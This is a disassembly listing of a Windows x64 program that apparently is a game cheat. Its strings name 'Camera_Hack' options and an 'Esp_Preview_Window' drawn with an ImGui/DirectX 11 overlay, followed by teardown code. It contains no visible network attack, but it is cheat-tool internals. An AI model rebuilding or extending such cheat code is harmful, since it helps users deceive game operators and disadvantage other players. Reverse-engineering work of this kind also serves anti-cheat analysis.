mov dword [rbp + 0x3f4], 0x43020000
lea r8, [rbp + 0x3f0]
lea rdx, str.Camera
mov rcx, qword [0x1401234b0]
call fcn.14000ceb0
lea rdx, [0x140122c64]
lea rcx, str.Camera_Hack_V1
call fcn.14003c130
test al, al
je 0x14005ee15
cmp byte [0x140122c64], 1
jne 0x14005ee15
lea rdx, [0x1400567f0]
lea rcx, [rbp + 0xd28]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xd30], 0
jne 0x14006039f
lea rdx, [0x140122c62]
lea rcx, str.Camera_Hack_V2
call fcn.14003c130
test al, al
je 0x14005ee5d
cmp byte [0x140122c62], 1
jne 0x14005ee5d
lea rdx, [0x140056760]
lea rcx, [rbp + 0xd38]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xd40], 0
jne 0x14006039f
call fcn.14000cfc0
call fcn.1400178b0
mov edi, 1
mov ecx, edi
call fcn.1400051c0
mov rcx, qword [0x140122bc0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], dil
mov rax, qword [rcx + 0x3f08]
cmp byte [rax + 0xbb], 0
jne 0x14005eeb3
mov qword [rbp + 0x3f8], 0
movaps xmm1, xmm8
lea rcx, [rbp + 0x3f8]
call fcn.140017110
call fcn.14000c5e0
call fcn.140012550
mov rdx, qword [rbp + 0x210]
cmp rdx, 0xf
jbe 0x14005eefe
inc rdx
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005eef9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060922
call fcn.1400c5e9c
xor r15d, r15d
mov qword [rbp + 0x208], r15
mov qword [rbp + 0x210], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1f8], r15b
mov rbx, qword [0x140122bc0]
movss xmm7, dword [0x1400e9be4]
cmp byte [0x140122bf3], 0
je 0x14005ef37
movaps xmm6, xmm7
jmp 0x14005ef3b
movaps xmm6, xmm8
test rbx, rbx
jne 0x14005ef61
mov r8d, 0x10ae
lea rdx, str.D:DelX_Projectimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140122bc0]
movss xmm0, dword [rbx + 0x18]
movss xmm9, dword [0x1400e9c10]
mulss xmm0, xmm9
mulss xmm0, xmm6
addss xmm0, dword [0x140122c1c]
comiss xmm10, xmm0
jbe 0x14005ef8c
movaps xmm6, xmm10
jmp 0x14005ef93
movaps xmm6, xmm7
minss xmm6, xmm0
movss dword [0x140122c1c], xmm6
mulss xmm6, dword [rbx + 0x37c8]
movss xmm0, dword [rbx + 0x37c8]
mov dword [rbp + 0x8fc], r15d
movss dword [rbp + 0x900], xmm0
lea rcx, [rbx + 0x4870]
lea rdx, [rbp + 0x8fc]
call fcn.140020520
movss dword [rbx + 0x37c8], xmm6
movss xmm0, dword [rbp + 0x154]
addss xmm0, dword [0x1400e9db8]
movss xmm1, dword [0x1400e9d88]
mov rcx, qword [0x140122bc0]
unpcklps xmm0, xmm1
movsd qword [rcx + 0x4800], xmm0
movaps xmm1, xmm10
unpcklps xmm1, xmm10
movsd qword [rcx + 0x4808], xmm1
mov dword [rcx + 0x47f4], 2
or dword [rcx + 0x47f0], 3
movsd xmm0, qword [0x1401217c0]
movsd qword [rcx + 0x4810], xmm0
mov dword [rcx + 0x47f8], edi
cmp byte [0x140122bf3], 0
je 0x14005fe0a
xor edx, edx
mov r8d, 0x202b
lea rcx, str.Esp_Preview_Window
call fcn.14000ffa0
mov r8, qword [0x140122bc0]
mov rax, qword [r8 + 0x3f08]
movsd xmm0, qword [rax + 0x20]
mov byte [rax + 0xb8], 1
mov rax, qword [r8 + 0x3f08]
mov rbx, qword [rax + 0x2a0]
movaps xmm10, xmm0
shufps xmm10, xmm10, 0x55
movsd qword [rbp + 0x908], xmm0
movss xmm11, dword [rbp + 0x908]
movss xmm6, dword [0x1400e9d98]
cmp byte [0x140122c0c], 1
jne 0x14005f181
movss xmm0, dword [0x140123af8]
movss dword [rbp + 0x5b8], xmm0
movss xmm1, dword [0x140123afc]
movss dword [rbp + 0x5bc], xmm1
movss xmm0, dword [0x140123b00]
movss dword [rbp + 0x5c0], xmm0
movss xmm1, dword [0x140123b04]
mulss xmm1, dword [r8 + 0x37c8]
movss dword [rbp + 0x5c4], xmm1
movaps xmm0, xmm11
addss xmm0, dword [0x1400e9d84]
movss dword [rbp + 0x400], xmm0
movaps xmm1, xmm10
addss xmm1, xmm6
movss dword [rbp + 0x404], xmm1
movaps xmm0, xmm11
addss xmm0, dword [0x1400e9cd8]
movss dword [rbp + 0x408], xmm0
movaps xmm1, xmm10
addss xmm1, dword [0x1400e9cd8]
movss dword [rbp + 0x40c], xmm1
lea rcx, [rbp + 0x5b8]
call fcn.1400049e0
mov r9d, eax
movss dword [rsp + 0x30], xmm7
mov dword [rsp + 0x28], r15d
movss dword [rsp + 0x20], xmm9
lea r8, [rbp + 0x400]
lea rdx, [rbp + 0x408]
mov rcx, rbx
call fcn.14002c3d0
mov r8, qword [0x140122bc0]
cmp byte [0x140122c0d], 1
jne 0x14005f334
movss xmm0, dword [0x140123b08]
movss dword [rbp + 0x728], xmm0
movss xmm1, dword [0x140123b0c]
movss dword [rbp + 0x72c], xmm1
movss xmm0, dword [0x140123b10]
movss dword [rbp + 0x730], xmm0
movss xmm1, dword [0x140123b14]
mulss xmm1, dword [r8 + 0x37c8]
movss dword [rbp + 0x734], xmm1
movaps xmm9, xmm11
addss xmm9, dword [0x1400e9cc8]
movss dword [rbp + 0x410], xmm9
movaps xmm8, xmm10
addss xmm8, xmm6
movss dword [rbp + 0x414], xmm8
movaps xmm7, xmm11
addss xmm7, dword [0x1400e9cc4]
movss dword [rbp + 0x418], xmm7
movaps xmm6, xmm10
addss xmm6, dword [0x1400e9cd8]
movss dword [rbp + 0x41c], xmm6
lea rcx, [rbp + 0x728]
call fcn.1400049e0
mov r9d, eax
mov dword [rsp + 0x28], r15d
movss xmm0, dword [0x1400e9c10]
movss dword [rsp + 0x20], xmm0
lea r8, [rbp + 0x410]
lea rdx, [rbp + 0x418]
mov rcx, rbx
call fcn.14002c4e0
mov qword [rbp + 0x420], 0
movss xmm0, dword [0x140123b08]
movss dword [rbp + 0x738], xmm0
movss xmm1, dword [0x140123b0c]
movss dword [rbp + 0x73c], xmm1
movss xmm0, dword [0x140123b10]
movss dword [rbp + 0x740], xmm0
movss xmm1, dword [0x140123b14]
mov rax, qword [0x140122bc0]
mulss xmm1, dword [rax + 0x37c8]
movss dword [rbp + 0x744], xmm1
movss dword [rbp + 0x428], xmm9
movss dword [rbp + 0x42c], xmm8
movss dword [rbp + 0x430], xmm7
movss dword [rbp + 0x434], xmm6
lea rcx, [rbp + 0x738]
call fcn.1400049e0
mov r9d, eax
movss xmm0, dword [0x1400e9c10]
movss dword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], r15d
lea rax, [rbp + 0x420]
mov qword [rsp + 0x28], rax
movss xmm0, dword [0x1400e9c5c]
movss dword [rsp + 0x20], xmm0
lea r8, [rbp + 0x428]
lea rdx, [rbp + 0x430]
mov rcx, rbx
call fcn.14002e920
mov r8, qword [0x140122bc0]
cmp byte [0x140122c0e], 1
jne 0x14005f4eb
movss xmm0, dword [0x140123b08]
movss dword [rbp + 0x748], xmm0
movss xmm1, dword [0x140123b0c]
movss dword [rbp + 0x74c], xmm1
movss xmm0, dword [0x140123b10]
movss dword [rbp + 0x750], xmm0
movss xmm1, dword [0x140123b14]
mulss xmm1, dword [r8 + 0x37c8]
movss dword [rbp + 0x754], xmm1
movaps xmm9, xmm11
addss xmm9, dword [0x1400e9d84]
movss dword [rbp + 0x438], xmm9
movaps xmm8, xmm10
addss xmm8, dword [0x1400e9da0]
movss dword [rbp + 0x43c], xmm8
movaps xmm7, xmm11
addss xmm7, dword [0x1400e9cd8]
movss dword [rbp + 0x440], xmm7
movaps xmm6, xmm10
addss xmm6, dword [0x1400e9d9c]
movss dword [rbp + 0x444], xmm6
lea rcx, [rbp + 0x748]
call fcn.1400049e0
mov r9d, eax
mov dword [rsp + 0x28], r15d
movss xmm0, dword [0x1400e9c10]
movss dword [rsp + 0x20], xmm0
lea r8, [rbp + 0x438]
lea rdx, [rbp + 0x440]
mov rcx, rbx
call fcn.14002c4e0
mov qword [rbp + 0x448], 0
movss xmm0, dword [0x140123b08]
movss dword [rbp + 0x758], xmm0
movss xmm1, dword [0x140123b0c]
movss dword [rbp + 0x75c], xmm1
movss xmm0, dword [0x140123b10]
movss dword [rbp + 0x760], xmm0
movss xmm1, dword [0x140123b14]
mov rax, qword [0x140122bc0]
mulss xmm1, dword [rax + 0x37c8]
movss dword [rbp + 0x764], xmm1
movss dword [rbp + 0x450], xmm9
movss dword [rbp + 0x454], xmm8
movss dword [rbp + 0x458], xmm7
movss dword [rbp + 0x45c], xmm6
lea rcx, [rbp + 0x758]
call fcn.1400049e0
mov r9d, eax
movss xmm0, dword [0x1400e9c10]
movss dword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], r15d
lea rax, [rbp + 0x448]
mov qword [rsp + 0x28], rax
movss xmm0, dword [0x1400e9c5c]
movss dword [rsp + 0x20], xmm0
lea r8, [rbp + 0x450]
lea rdx, [rbp + 0x458]
mov rcx, rbx
call fcn.14002e920
mov r8, qword [0x140122bc0]
cmp byte [0x140122c0f], 1
jne 0x14005f627
movss xmm0, dword [0x140123a78]
movss dword [rbp + 0x768], xmm0
movss xmm1, dword [0x140123a7c]
movss dword [rbp + 0x76c], xmm1
movss xmm0, dword [0x140123a80]
movss dword [rbp + 0x770], xmm0
movss xmm1, dword [0x140123a84]
mulss xmm1, dword [r8 + 0x37c8]
movss dword [rbp + 0x774], xmm1
lea rcx, [rbp + 0x768]
call fcn.1400049e0
mov esi, eax
movaps xmm0, xmm11
addss xmm0, dword [0x1400e9d20]
movss dword [rbp + 0x460], xmm0
movaps xmm1, xmm10
addss xmm1, dword [0x1400e9ca0]
movss dword [rbp + 0x464], xmm1
mov rdi, qword [0x140122bd8]
test eax, 0xff000000
je 0x14005f627
test rdi, rdi
jne 0x14005f596
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
mov rcx, qword [rdi + 0x40]
mov rax, qword [rbx + 0x98]
cmp qword [rcx + 8], rax
je 0x14005f5c1
mov r8d, 0x6bc
lea rdx, str.D:DelX_Projectimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
movups xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x48], 0
xorps xmm6, xmm6
movss dword [rsp + 0x40], xmm6
lea rax, [0x1400e97d8]
mov qword [rsp + 0x38], rax
lea rax, str.nickname
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
lea r9, [rbp + 0x460]
movss xmm7, dword [0x1400e9c7c]
movaps xmm2, xmm7
mov rdx, rbx
mov rcx, rdi
call fcn.1400362d0
mov r8, qword [0x140122bc0]
jmp 0x14005f632
movss xmm7, dword [0x1400e9c7c]
xorps xmm6, xmm6
cmp byte [0x140122c10], 1
jne 0x14005f761
movss xmm0, dword [0x1401239b8]
movss dword [rbp + 0x778], xmm0
movss xmm1, dword [0x1401239bc]
movss dword [rbp + 0x77c], xmm1
movss xmm0, dword [0x1401239c0]
movss dword [rbp + 0x780], xmm0
movss xmm1, dword [0x1401239c4]
mulss xmm1, dword [r8 + 0x37c8]
movss dword [rbp + 0x784], xmm1
lea rcx, [rbp + 0x778]
call fcn.1400049e0
mov esi, eax
movaps xmm0, xmm11
addss xmm0, dword [0x1400e9d90]
movss dword [rbp + 0x468], xmm0
movaps xmm1, xmm10
addss xmm1, dword [0x1400e9cdc]
movss dword [rbp + 0x46c], xmm1
mov rdi, qword [0x140122bd8]
test eax, 0xff000000
je 0x14005f761
test rdi, rdi
jne 0x14005f6dd
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
mov rcx, qword [rdi + 0x40]
mov rax, qword [rbx + 0x98]
cmp qword [rcx + 8], rax
je 0x14005f708
mov r8d, 0x6bc
lea rdx, str.D:DelX_Projectimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
movups xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm6
lea rax, [0x1400e97df]
mov qword [rsp + 0x38], rax
lea rax, [0x1400e97dc]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
lea r9, [rbp + 0x468]
movaps xmm2, xmm7
mov rdx, rbx
mov rcx, rdi
call fcn.1400362d0
mov r8, qword [0x140122bc0]
cmp byte [0x140122c11], 1
jne 0x14005f895
movss xmm0, dword [0x1401239b8]
movss dword [rbp + 0x788], xmm0
movss xmm1, dword [0x1401239bc]
movss dword [rbp + 0x78c], xmm1
movss xmm0, dword [0x1401239c0]
movss dword [rbp + 0x790], xmm0
movss xmm1, dword [0x1401239c4]
mulss xmm1, dword [r8 + 0x37c8]
movss dword [rbp + 0x794], xmm1
lea rcx, [rbp + 0x788]
call fcn.1400049e0
mov esi, eax
movaps xmm0, xmm11
addss xmm0, dword [0x1400e9d2c]
movss dword [rbp + 0x470], xmm0
movaps xmm1, xmm10
addss xmm1, dword [0x1400e9da4]
movss dword [rbp + 0x474], xmm1
mov rdi, qword [0x140122c70]
test eax, 0xff000000
je 0x14005f895
test rdi, rdi
jne 0x14005f80c
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
mov rcx, qword [rdi + 0x40]
mov rax, qword [rbx + 0x98]
cmp qword [rcx + 8], rax
je 0x14005f837
mov r8d, 0x6bc
lea rdx, str.D:DelX_Projectimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
movups xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm6
lea rax, [0x1400db55d]
mov qword [rsp + 0x38], rax
lea rax, [0x1400db55c]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
lea r9, [rbp + 0x470]
movss xmm2, dword [0x1400e9c74]
mov rdx, rbx
mov rcx, rdi
call fcn.1400362d0
mov r8, qword [0x140122bc0]
cmp byte [0x140122c12], 1
jne 0x14005fdee
movss xmm8, dword [0x1401239c8]
movss dword [rbp + 0x798], xmm8
movss xmm9, dword [0x1401239cc]
movss dword [rbp + 0x79c], xmm9
movss xmm13, dword [0x1401239d0]
movss dword [rbp + 0x7a0], xmm13
movss xmm6, dword [0x1401239d4]
movaps xmm0, xmm6
mulss xmm0, dword [r8 + 0x37c8]
movss dword [rbp + 0x7a4], xmm0
lea rcx, [rbp + 0x798]
call fcn.1400049e0
mov edi, eax
movaps xmm12, xmm11
addss xmm12, dword [0x1400e9d48]
movss dword [rbp + 0x478], xmm12
movaps xmm7, xmm10
addss xmm7, dword [0x1400e9d14]
movss dword [rbp + 0x47c], xmm7
test eax, 0xff000000
je 0x14005f9a7
mov dword [rsp + 0x28], reloc.WS2_32.dll_send
movss xmm0, dword [0x1400e9c30]
movss dword [rsp + 0x20], xmm0
xorps xmm3, xmm3
movss xmm2, dword [0x1400e9c60]
lea rdx, [rbp + 0x478]
mov rcx, rbx
call fcn.14002ba50
mov r9d, edi
mov r8d, dword [rbx + 0x78]
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
call fcn.14002af40
mov dword [rbx + 0x78], r15d
mov r8, qword [0x140122bc0]
movss xmm6, dword [0x1401239d4]
movss xmm13, dword [0x1401239d0]
movss xmm9, dword [0x1401239cc]
movss xmm8, dword [0x1401239c8]
mov qword [rbp + 0x5b0], 0
movss dword [rbp + 0x7a8], xmm8
movss dword [rbp + 0x7ac], xmm9
movss dword [rbp + 0x7b0], xmm13
mulss xmm6, dword [r8 + 0x37c8]
movss dword [rbp + 0x7b4], xmm6
lea rcx, [rbp + 0x7a8]
call fcn.1400049e0
mov edi, eax
movss dword [rbp + 0x480], xmm12
movss dword [rbp + 0x484], xmm7
cmp dword [rbx + 0x78], 0
je 0x14005fa1d
mov r8d, 0x9c5
lea rdx, str.D:DelX_Projectimgui_draw.cpp
lea rcx, str._Path.Size__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov dword [rsp + 0x20], ntohs
xor r9d, r9d
movss xmm2, dword [0x1400e9c60]
lea rdx, [rbp + 0x480]
mov rcx, rbx
call fcn.14002b9b0
mov dword [rsp + 0x30], r15d
lea rax, [rbp + 0x5b0]
mov qword [rsp + 0x28], rax
movss xmm0, dword [0x1400e9c94]
movss dword [rsp + 0x20], xmm0
mov r9d, edi
mov r8d, dword [rbx + 0x78]
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
call fcn.14002ee10
mov dword [rbx + 0x78], r15d
movss xmm0, dword [0x1401239a8]
movss dword [rbp + 0x7b8], xmm0
movss xmm1, dword [0x1401239ac]
movss dword [rbp + 0x7bc], xmm1
movss xmm0, dword [0x1401239b0]
movss dword [rbp + 0x7c0], xmm0
movss xmm1, dword [0x1401239b4]
mov rax, qword [0x140122bc0]
mulss xmm1, dword [rax + 0x37c8]
movss dword [rbp + 0x7c4], xmm1
movss dword [rbp + 0x490], xmm12
movaps xmm9, xmm10
addss xmm9, dword [0x1400e9d80]
movss dword [rbp + 0x494], xmm9
movss dword [rbp + 0x498], xmm12
movaps xmm8, xmm10
addss xmm8, dword [0x1400e9d30]
movss dword [rbp + 0x49c], xmm8
lea rcx, [rbp + 0x7b8]
call fcn.1400049e0
mov r9d, eax
movss xmm13, dword [0x1400e9be4]
movss dword [rsp + 0x20], xmm13
lea r8, [rbp + 0x490]
lea rdx, [rbp + 0x498]
mov rcx, rbx
call fcn.14002c270
movss xmm0, dword [0x1401239a8]
movss dword [rbp + 0x7c8], xmm0
movss xmm1, dword [0x1401239ac]
movss dword [rbp + 0x7cc], xmm1
movss xmm0, dword [0x1401239b0]
movss dword [rbp + 0x7d0], xmm0
movss xmm1, dword [0x1401239b4]
mov rax, qword [0x140122bc0]
mulss xmm1, dword [rax + 0x37c8]
movss dword [rbp + 0x7d4], xmm1
movss dword [rbp + 0x4a0], xmm12
movss dword [rbp + 0x4a4], xmm8
movaps xmm7, xmm11
addss xmm7, dword [0x1400e9d10]
movss dword [rbp + 0x4a8], xmm7
movaps xmm6, xmm10
addss xmm6, dword [0x1400e9d68]
movss dword [rbp + 0x4ac], xmm6
lea rcx, [rbp + 0x7c8]
call fcn.1400049e0
mov r9d, eax
movss dword [rsp + 0x20], xmm13
lea r8, [rbp + 0x4a0]
lea rdx, [rbp + 0x4a8]
mov rcx, rbx
call fcn.14002c270
movss xmm0, dword [0x1401239a8]
movss dword [rbp + 0x7d8], xmm0
movss xmm1, dword [0x1401239ac]
movss dword [rbp + 0x7dc], xmm1
movss xmm0, dword [0x1401239b0]
movss dword [rbp + 0x7e0], xmm0
movss xmm1, dword [0x1401239b4]
mov rax, qword [0x140122bc0]
mulss xmm1, dword [rax + 0x37c8]
movss dword [rbp + 0x7e4], xmm1
addss xmm11, dword [0x1400e9d74]
movss dword [rbp + 0x4b0], xmm11
movss dword [rbp + 0x4b4], xmm6
movss dword [rbp + 0x4b8], xmm12
movss dword [rbp + 0x4bc], xmm8
lea rcx, [rbp + 0x7d8]
call fcn.1400049e0
mov r9d, eax
movss dword [rsp + 0x20], xmm13
lea r8, [rbp + 0x4b0]
lea rdx, [rbp + 0x4b8]
mov rcx, rbx
call fcn.14002c270
movss xmm0, dword [0x1401239a8]
movss dword [rbp + 0x7e8], xmm0
movss xmm1, dword [0x1401239ac]
movss dword [rbp + 0x7ec], xmm1
movss xmm0, dword [0x1401239b0]
movss dword [rbp + 0x7f0], xmm0
movss xmm1, dword [0x1401239b4]
mov rax, qword [0x140122bc0]
mulss xmm1, dword [rax + 0x37c8]
movss dword [rbp + 0x7f4], xmm1
movss dword [rbp + 0x4c0], xmm12
movss dword [rbp + 0x4c4], xmm9
movss dword [rbp + 0x4c8], xmm7
addss xmm10, dword [0x1400e9d94]
movss dword [rbp + 0x4cc], xmm10
lea rcx, [rbp + 0x7e8]
call fcn.1400049e0
mov r9d, eax
movss dword [rsp + 0x20], xmm13
lea r8, [rbp + 0x4c0]
lea rdx, [rbp + 0x4c8]
mov rcx, rbx
call fcn.14002c270
movss xmm0, dword [0x1401239a8]
movss dword [rbp + 0x7f8], xmm0
movss xmm1, dword [0x1401239ac]
movss dword [rbp + 0x7fc], xmm1
movss xmm0, dword [0x1401239b0]
movss dword [rbp + 0x800], xmm0
movss xmm1, dword [0x1401239b4]
mov rax, qword [0x140122bc0]
mulss xmm1, dword [rax + 0x37c8]
movss dword [rbp + 0x804], xmm1
movss dword [rbp + 0x4d0], xmm11
movss dword [rbp + 0x4d4], xmm10
movss dword [rbp + 0x4d8], xmm12
movss dword [rbp + 0x4dc], xmm9
lea rcx, [rbp + 0x7f8]
call fcn.1400049e0
mov r9d, eax
movss dword [rsp + 0x20], xmm13
lea r8, [rbp + 0x4d0]
lea rdx, [rbp + 0x4d8]
mov rcx, rbx
call fcn.14002c270
movdqa xmm12, xmmword [0x1400e9ff0]
movdqa xmm13, xmmword [str.9999]
call fcn.140012550
movss xmm11, dword [0x1400e9c74]
movss xmm8, dword [0x1400e9df4]
mov edi, 1
mov ecx, edi
call fcn.1400051c0
call fcn.14000bb80
movss xmm2, dword [rbp - 0x54]
movaps xmm0, xmm2
mulss xmm0, dword [rbp - 0x60]
movss dword [rbp + 0x808], xmm0
movss xmm1, dword [rbp - 0x5c]
mulss xmm1, xmm2
movss dword [rbp + 0x80c], xmm1
movss xmm0, dword [rbp - 0x58]
mulss xmm0, xmm2
movss dword [rbp + 0x810], xmm0
movss dword [rbp + 0x814], xmm2
mov rcx, qword [0x140123118]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x1401230f8]
mov edx, edi
call qword [rax + 0x108]
mov rcx, qword [0x140123118]
mov rax, qword [rcx]
lea r8, [rbp + 0x808]
mov rdx, qword [0x1401230f8]
call qword [rax + 0x190]
mov rbx, qword [0x140122bc0]
cmp dword [rbx + 0x48f8], 0
jg 0x14005feb9
mov r8d, 0x736
lea rdx, str.D:DelX_Projectimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4900]
mov rcx, qword [rax]
add rcx, 0x48
mov rax, r15
cmp byte [rcx], 0
cmovne rax, rcx
mov rcx, rax
call fcn.140049cb0
mov rcx, qword [0x140123100]
mov rax, qword [rcx]
xor r8d, r8d
mov edx, edi
call qword [rax + 0x40]
mov r8, qword [rbp - 8]
test r8, r8
movss xmm10, dword [0x1400e9bac]
mov ebx, dword [rbp - 0x3c]
mov r13, qword [rbp - 0x70]
movabs r14, 0x6666666666666667
je 0x140059760
mov rcx, qword [rbp + 8]
sub rcx, r8
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*4]
shl rdx, 3
mov rax, r8
cmp rdx, 0x1000
jb 0x14005ff5a
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060922
mov rcx, r8
call fcn.1400c5e9c
xorps xmm0, xmm0
movdqu xmmword [rbp - 8], xmm0
mov qword [rbp + 8], r15
movss xmm10, dword [0x1400e9bac]
mov ebx, dword [rbp - 0x3c]
jmp 0x140059760
mov rbx, qword [0x140122bc0]
test rbx, rbx
je 0x14005ff99
mov rdi, qword [rbx + 0x98]
test rdi, rdi
jne 0x14005ffbd
jmp 0x14005ff9c
mov rdi, r15
mov r8d, 0x245
lea rdx, str.D:DelX_Project_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140122bc0]
test rbx, rbx
jne 0x14005ffe3
mov r8d, 0x10ae
lea rdx, str.D:DelX_Projectimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140122bc0]
call fcn.14004acb0
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x14005fff7
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi]
test rcx, rcx
je 0x140060005
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x140060014
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rbx + 0x88], r15
mov qword [rbx + 0x98], r15
and dword [rbx + 0xc], 0xfffffff7
mov rax, qword [0x140122bc0]
test rax, rax
je 0x140060038
dec dword [rax + 0xf0]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [0x140122bc0]
test rax, rax
je 0x14006005b
mov rbx, qword [rax + 0x90]
test rbx, rbx
jne 0x14006007f
jmp 0x14006005e
mov rbx, r15
mov r8d, 0xc9
lea rdx, str.D:DelX_Project_backendsimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140122bc0]
test rax, rax
jne 0x1400600a5
mov r8d, 0x10ae
lea rdx, str.D:DelX_Projectimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140122bc0]
lea rdi, [rax + 8]
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x1400600bf
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x140122bc0]
mov qword [rdi + 0x78], r15
mov qword [rdi + 0x88], r15
and dword [rdi + 4], 0xfffffff8
test rax, rax
je 0x1400600d9
dec dword [rax + 0xf0]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x140122bc0]
mov qword [0x140122bc0], rbx
call fcn.140006f40
mov qword [0x140122bc0], r15
test rbx, rbx
je 0x140060124
mov rcx, rbx
call fcn.140021080
mov rax, qword [0x140122bc0]
test rax, rax
je 0x14006011b
dec dword [rax + 0xf0]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [0x1401230f8]
test rcx, rcx
je 0x14006013d
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401230f8], r15
mov rcx, qword [0x140123100]
test rcx, rcx
je 0x140060156
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140123100], r15
mov rcx, qword [0x140123118]
test rcx, rcx
je 0x14006016f
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140123118], r15
mov rcx, qword [0x140123110]
test rcx, rcx
je 0x140060188
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140123110], r15
mov rcx, qword [0x140122c40]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x9a8]
mov rcx, qword [rbp + 0x9d0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov rax, qword [rbp + 0xf30]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xf30], rbx
mov rax, qword [rbp + 0xf30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xf2c], edx
lea rcx, [rbp + 0xf38]
call fcn.140061650
lea rcx, [rbp + 0xf40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xfd8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14006023c
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140060237
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060922
call fcn.1400c5e9c
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x10], 0
mov rcx, qword [rbp + 0x60]
test rcx, rcx
je 0x140060292
mov rdx, qword [rbp + 0x70]
sub rdx, rcx
mov rax, rcx
